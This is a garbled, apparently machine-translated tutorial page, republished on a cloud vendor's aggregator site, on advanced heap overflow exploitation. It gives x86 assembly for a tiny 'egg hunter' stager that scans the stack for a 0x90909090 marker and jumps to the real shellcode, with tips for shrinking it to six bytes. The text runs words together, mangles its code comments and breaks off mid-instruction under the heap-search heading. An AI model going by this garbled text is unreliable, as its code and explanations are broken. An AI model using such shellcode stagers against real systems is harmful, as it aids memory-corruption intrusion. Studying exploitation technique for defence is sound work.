Advanced Heap Overflow exploitation skills (2)

Source: Internet
Author: User

7. Select a global address for the function address. Use the memory allocation to write a short segment.ShellcodeFind the realShellcode. This is mainly because it is difficult to search for items in the heap. If there is something in the stack that can be passed, it is more convenient. This smallShellcodeIt takes a little longer than six, and multiple memory allocation and release operations are required to complete.

8. Search for authenticityShellcodeSmallShellcodeCode.

(1), Search for stacks;

PushEsp

PopEdi

PushEsp

PopEcx

 

Mov eax, 0x90909090// 5 bytesMov ax, 0x90904 bytes

Repnz

Scasd// 1 bytesScasw2 bytes4 + 2 = 5 + 1

Push edi

Ret

 

The simplified version may be6ByteShellcode:

PushEsp

PopEdi

Repnz

Scasd

Push edi

Ret

 

In the stackShellcodeToZero x 90909090You can use other tags or make them simpler. if the environment is fixed at that timeEaxOrAx, You can use this valueShellcodeStart tag.ShellcodeCan be reduced5Bytes. If there is a large value in the stack, you can directlyPopToEcx, OrEcxFixed and relatively large, so no value can be assigned to reduce1To2Bytes. Simplified VersionShellcodeIt's relatively small.,It can be as small6Bytes.

(2)Searching for heapShellcode.

Mov

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.